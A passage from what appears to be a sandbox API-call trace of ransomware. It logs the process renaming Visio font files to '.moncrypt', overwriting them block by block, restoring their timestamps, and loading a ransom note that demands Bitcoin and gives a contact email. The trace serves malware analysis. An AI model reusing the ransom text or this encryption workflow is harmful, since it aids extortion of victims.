lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX", lpUsedDefaultChar=0x0) returned 77 [0055.957] CharLowerBuffW (in: lpsz=".SHX", cchLength=0x4 | out: lpsz=".shx") returned 0x4 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".shx", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".shxShared\\Visio Shared\\Fonts\\WHTGTXT.SHX", lpUsedDefaultChar=0x0) returned 4 [0055.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 0x54e240 [0055.957] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.958] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.958] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX", dwFileAttributes=0x20) returned 1 [0055.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.moncrypt")) returned 1 [0055.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.959] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.959] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x9e413 [0055.959] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.959] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0056.064] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.064] GlobalLock (hMem=0x440004) returned 0x55bb88 [0056.064] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0056.064] GlobalUnlock (hMem=0x440004) returned 0 [0056.064] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0056.064] GlobalLock (hMem=0x440004) returned 0x55bb88 [0056.064] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0056.064] GlobalUnlock (hMem=0x440004) returned 0 [0056.064] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0056.064] GlobalLock (hMem=0x440004) returned 0x55bb88 [0056.064] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.065] GlobalUnlock (hMem=0x44000c) returned 0 [0056.065] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0056.065] GlobalUnlock (hMem=0x440004) returned 0 [0056.065] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.065] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.065] GlobalUnlock (hMem=0x440004) returned 0 [0056.065] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0056.065] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.065] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.065] GlobalUnlock (hMem=0x440004) returned 0 [0056.065] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0056.065] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0056.065] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0056.065] SetFilePointer (in: hFile=0x18c, lDistanceToMove=648211, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x9e413 [0056.065] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0056.081] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0056.081] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0056.093] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0056.093] CloseHandle (hObject=0x18c) returned 1 [0056.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0056.102] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0056.102] CloseHandle (hObject=0x18c) returned 1 [0056.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.moncrypt", dwFileAttributes=0x20) returned 1 [0056.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0056.103] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.103] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.103] GlobalUnlock (hMem=0x440004) returned 0 [0056.103] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.103] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.103] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.103] GlobalUnlock (hMem=0x440004) returned 0 [0056.103] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.103] GlobalUnlock (hMem=0x44000c) returned 0 [0056.103] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0056.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42429200, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42429200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42429200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0056.103] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0056.103] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0056.103] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0056.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0056.104] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0056.104] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0056.104] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0056.104] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0056.104] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0056.104] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0056.104] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0056.104] CloseHandle (hObject=0x18c) returned 1 [0056.104] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0056.104] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.104] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.104] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.104] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.104] GlobalUnlock (hMem=0x44000c) returned 0 [0056.104] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.105] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.105] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.105] GlobalUnlock (hMem=0x44000c) returned 0 [0056.105] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.105] GlobalUnlock (hMem=0x440004) returned 0 [0056.105] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.105] CharLowerBuffW (in: lpsz="WHTMTXT.SHX", cchLength=0xb | out: lpsz="whtmtxt.shx") returned 0xb [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX", lpUsedDefaultChar=0x0) returned 77 [0056.105] CharLowerBuffW (in: lpsz=".SHX", cchLength=0x4 | out: lpsz=".shx") returned 0x4 [0056.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".shx", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".shxShared\\Visio Shared\\Fonts\\WHTMTXT.SHX", lpUsedDefaultChar=0x0) returned 4 [0056.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0x54e240 [0056.106] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0056.106] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0056.106] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0056.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX", dwFileAttributes=0x20) returned 1 [0056.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.moncrypt")) returned 1 [0056.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0056.107] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0056.107] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xdfc98 [0056.108] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0056.108] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0056.109] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.109] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0056.110] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0056.110] GlobalUnlock (hMem=0x44000c) returned 0 [0056.110] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0056.110] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0056.110] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0056.110] GlobalUnlock (hMem=0x44000c) returned 0 [0056.110] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0056.110] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0056.110] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.110] GlobalUnlock (hMem=0x440004) returned 0 [0056.111] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0056.111] GlobalUnlock (hMem=0x44000c) returned 0 [0056.111] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.111] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.111] GlobalUnlock (hMem=0x44000c) returned 0 [0056.111] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0056.111] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.111] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.111] GlobalUnlock (hMem=0x44000c) returned 0 [0056.111] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0056.111] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0056.111] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0056.111] SetFilePointer (in: hFile=0x18c, lDistanceToMove=916632, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xdfc98 [0056.111] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0056.113] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0056.113] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: 